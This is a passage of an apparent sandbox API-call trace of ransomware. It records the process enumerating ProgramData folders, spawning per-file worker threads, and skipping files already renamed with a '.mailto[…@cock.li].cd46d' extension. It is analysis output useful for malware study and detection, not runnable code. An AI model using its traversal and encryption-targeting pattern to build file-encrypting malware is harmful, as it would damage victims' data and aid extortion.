lpFindFileData=0x905360*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RAC", cAlternateFileName="")) returned 1 [0139.676] wcscmp (_String1="RAC", _String2=".") returned 1 [0139.677] wcscmp (_String1="RAC", _String2="..") returned 1 [0139.677] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x3a) returned 0x8d27d0 [0139.677] wcscpy (in: _Dest=0x8d27d0, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0139.677] wcscat (in: _Dest=0x8d27d0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0139.677] wcscat (in: _Dest=0x8d27d0, _Source="RAC" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC") returned="C:\\ProgramData\\Microsoft\\RAC" [0139.677] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d27d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a4 [0139.678] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27df8b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27df8b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 1 [0139.678] wcscmp (_String1="Search", _String2=".") returned 1 [0139.678] wcscmp (_String1="Search", _String2="..") returned 1 [0139.678] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x40) returned 0x8d2818 [0139.678] wcscpy (in: _Dest=0x8d2818, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0139.678] wcscat (in: _Dest=0x8d2818, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0139.678] wcscat (in: _Dest=0x8d2818, _Source="Search" | out: _Dest="C:\\ProgramData\\Microsoft\\Search") returned="C:\\ProgramData\\Microsoft\\Search" [0139.678] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d2818, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a8 [0139.679] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa0402260, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa0402260, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Account Pictures", cAlternateFileName="USERAC~1")) returned 1 [0139.679] wcscmp (_String1="User Account Pictures", _String2=".") returned 1 [0139.679] wcscmp (_String1="User Account Pictures", _String2="..") returned 1 [0139.679] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x5e) returned 0x908c10 [0139.679] wcscpy (in: _Dest=0x908c10, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0139.679] wcscat (in: _Dest=0x908c10, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0139.679] wcscat (in: _Dest=0x908c10, _Source="User Account Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures" [0139.679] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x908c10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ac [0139.681] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xc602eec6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vault", cAlternateFileName="")) returned 1 [0139.681] wcscmp (_String1="Vault", _String2=".") returned 1 [0139.681] wcscmp (_String1="Vault", _String2="..") returned 1 [0139.681] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x3e) returned 0x8d2860 [0139.681] wcscpy (in: _Dest=0x8d2860, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0139.681] wcscat (in: _Dest=0x8d2860, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0139.681] wcscat (in: _Dest=0x8d2860, _Source="Vault" | out: _Dest="C:\\ProgramData\\Microsoft\\Vault") returned="C:\\ProgramData\\Microsoft\\Vault" [0139.681] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d2860, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b0 [0139.682] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80ac5760, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO", cAlternateFileName="")) returned 1 [0139.682] wcscmp (_String1="VISIO", _String2=".") returned 1 [0139.682] wcscmp (_String1="VISIO", _String2="..") returned 1 [0139.682] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x3e) returned 0x8d28a8 [0139.682] wcscpy (in: _Dest=0x8d28a8, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0139.682] wcscat (in: _Dest=0x8d28a8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0139.682] wcscat (in: _Dest=0x8d28a8, _Source="VISIO" | out: _Dest="C:\\ProgramData\\Microsoft\\VISIO") returned="C:\\ProgramData\\Microsoft\\VISIO" [0139.682] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d28a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b4 [0139.683] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0139.683] wcscmp (_String1="Windows", _String2=".") returned 1 [0139.683] wcscmp (_String1="Windows", _String2="..") returned 1 [0139.683] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x42) returned 0x8f92d8 [0139.683] wcscpy (in: _Dest=0x8f92d8, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0139.683] wcscat (in: _Dest=0x8f92d8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0139.683] wcscat (in: _Dest=0x8f92d8, _Source="Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows" [0139.683] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f92d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b8 [0139.684] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x591e8ca0, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0x591e8ca0, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1 [0139.684] wcscmp (_String1="Windows Defender", _String2=".") returned 1 [0139.684] wcscmp (_String1="Windows Defender", _String2="..") returned 1 [0139.685] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x54) returned 0x8feca8 [0139.685] wcscpy (in: _Dest=0x8feca8, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0139.685] wcscat (in: _Dest=0x8feca8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0139.685] wcscat (in: _Dest=0x8feca8, _Source="Windows Defender" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Defender") returned="C:\\ProgramData\\Microsoft\\Windows Defender" [0139.685] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8feca8) returned 1 [0139.685] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~2")) returned 1 [0139.685] wcscmp (_String1="Windows NT", _String2=".") returned 1 [0139.685] wcscmp (_String1="Windows NT", _String2="..") returned 1 [0139.685] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x48) returned 0x8f9328 [0139.685] wcscpy (in: _Dest=0x8f9328, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0139.685] wcscat (in: _Dest=0x8f9328, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0139.685] wcscat (in: _Dest=0x8f9328, _Source="Windows NT" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT") returned="C:\\ProgramData\\Microsoft\\Windows NT" [0139.685] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f9328, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2bc [0139.686] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 1 [0139.686] wcscmp (_String1="WwanSvc", _String2=".") returned 1 [0139.686] wcscmp (_String1="WwanSvc", _String2="..") returned 1 [0139.686] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x42) returned 0x8f9378 [0139.686] wcscpy (in: _Dest=0x8f9378, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0139.686] wcscat (in: _Dest=0x8f9378, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0139.686] wcscat (in: _Dest=0x8f9378, _Source="WwanSvc" | out: _Dest="C:\\ProgramData\\Microsoft\\WwanSvc") returned="C:\\ProgramData\\Microsoft\\WwanSvc" [0139.686] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f9378, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c0 [0139.687] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 0 [0139.687] FindClose (in: hFindFile=0x8d9b50 | out: hFindFile=0x8d9b50) returned 1 [0139.687] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x905360) returned 1 [0139.687] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d9bd0) returned 1 [0139.688] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d9c10) returned 1 Thread: id = 1659 os_tid = 0x590 [0139.688] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x40) returned 0x8d28f0 [0139.688] wcscpy (in: _Dest=0x8d28f0, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0139.688] wcscat (in: _Dest=0x8d28f0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0139.688] wcscat (in: _Dest=0x8d28f0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft Help\\*") returned="C:\\ProgramData\\Microsoft Help\\*" [0139.688] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x905360 [0139.688] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft Help\\*", lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xa459e0c0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa459e0c0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da190 [0141.128] wcscmp (_String1=".", _String2=".") returned 0 [0141.128] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xa459e0c0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa459e0c0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.140] wcscmp (_String1="..", _String2=".") returned 1 [0141.140] wcscmp (_String1="..", _String2="..") returned 0 [0141.140] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x896b9210, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x896b9210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8b8c220, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hx.hxn", cAlternateFileName="")) returned 1 [0141.140] wcscmp (_String1="Hx.hxn", _String2=".") returned 1 [0141.140] wcscmp (_String1="Hx.hxn", _String2="..") returned 1 [0141.140] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4a) returned 0x8e4b00 [0141.140] wcscpy (in: _Dest=0x8e4b00, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0141.140] wcscat (in: _Dest=0x8e4b00, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0141.140] wcscat (in: _Dest=0x8e4b00, _Source="Hx.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\Hx.hxn") returned="C:\\ProgramData\\Microsoft Help\\Hx.hxn" [0141.805] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e4b00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c8 [0141.806] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa72fc10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa72fc10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa7a2030, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.EXCEL.14.1033.hxn", cAlternateFileName="MSEXCE~1.HXN")) returned 1 [0141.806] wcscmp (_String1="MS.EXCEL.14.1033.hxn", _String2=".") returned 1 [0141.806] wcscmp (_String1="MS.EXCEL.14.1033.hxn", _String2="..") returned 1 [0141.806] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x66) returned 0x8f1218 [0141.806] wcscpy (in: _Dest=0x8f1218, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0141.806] wcscat (in: _Dest=0x8f1218, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0141.806] wcscat (in: _Dest=0x8f1218, _Source="MS.EXCEL.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.14.1033.hxn" [0141.806] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f1218, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x768 [0141.807] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xfa755d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa755d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa7a2030, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x27f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.EXCEL.DEV.14.1033.hxn.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="MSEXCE~1.CD4")) returned 1 [0141.807] wcscmp (_String1="MS.EXCEL.DEV.14.1033.hxn.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0141.807] wcscmp (_String1="MS.EXCEL.DEV.14.1033.hxn.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0141.807] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x25f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.GRAPH.14.1033.hxn.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="MSGRAP~1.CD4")) returned 1 [0141.807] wcscmp (_String1="MS.GRAPH.14.1033.hxn.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0141.807] wcscmp (_String1="MS.GRAPH.14.1033.hxn.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0141.807] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xfd789af0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd789af0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd822070, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x267, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.GROOVE.14.1033.hxn.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="MSGROO~1.CD4")) returned 1 [0141.807] wcscmp (_String1="MS.GROOVE.14.1033.hxn.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0141.807] wcscmp (_String1="MS.GROOVE.14.1033.hxn.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0141.807] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x113ae4d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x113ae4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11446a50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x158, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.INFOPATH.14.1033.hxn", cAlternateFileName="MSINFO~1.HXN")) returned 1 [0141.808] wcscmp (_String1="MS.INFOPATH.14.1033.hxn", _String2=".") returned 1 [0141.808] wcscmp (_String1="MS.INFOPATH.14.1033.hxn", _String2="..") returned 1 [0141.808] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x8e8e18 [0141.808] wcscpy (in: _Dest=0x8e8e18, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0141.808] wcscat (in: _Dest=0x8e8e18, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0141.808] wcscat (in: _Dest=0x8e8e18, _Source="MS.INFOPATH.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.INFOPATH.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.INFOPATH.14.1033.hxn" [0141.808] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8e18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x76c [0141.809] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x113ae4d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x113ae4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1146cbb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.INFOPATHEDITOR.14.1033.hxn", cAlternateFileName="MSINFO~2.HXN")) returned 1 [0141.809] wcscmp (_String1="MS.INFOPATHEDITOR.14.1033.hxn", _String2=".") returned 1 [0141.809] wcscmp (_String1="MS.INFOPATHEDITOR.14.1033.hxn", _String2="..") returned 1 [0141.809] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x78) returned 0x99cf08 [0141.809] wcscpy (in: _Dest=0x99cf08, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0141.809] wcscat (in: _Dest=0x99cf08, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0141.809] wcscat (in: _Dest=0x99cf08, _Source="MS.INFOPATHEDITOR.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.INFOPATHEDITOR.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.INFOPATHEDITOR.14.1033.hxn" [0141.809] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x99cf08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x770 [0141.810] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x15f8e210, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15f8e210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1604c8f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x158, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSACCESS.14.1033.hxn", cAlternateFileName="MSMSAC~1.HXN")) returned 1 [0141.810] wcscmp (_String1="MS.MSACCESS.14.1033.hxn", _String2=".") returned 1 [0141.810] wcscmp (_String1="MS.MSACCESS.14.1033.hxn", _String2="..") returned 1 [0141.810] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x8e94a8 [0141.810] wcscpy (in: _Dest=0x8e94a8, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0141.810] wcscat (in: _Dest=0x8e94a8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0141.810] wcscat (in: _Dest=0x8e94a8, _Source="MS.MSACCESS.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.14.1033.hxn" [0141.810] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e94a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x774 [0141.811] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x905360 | out: lpFindFileData=0x905360*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x15f8e210, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15f8e210, 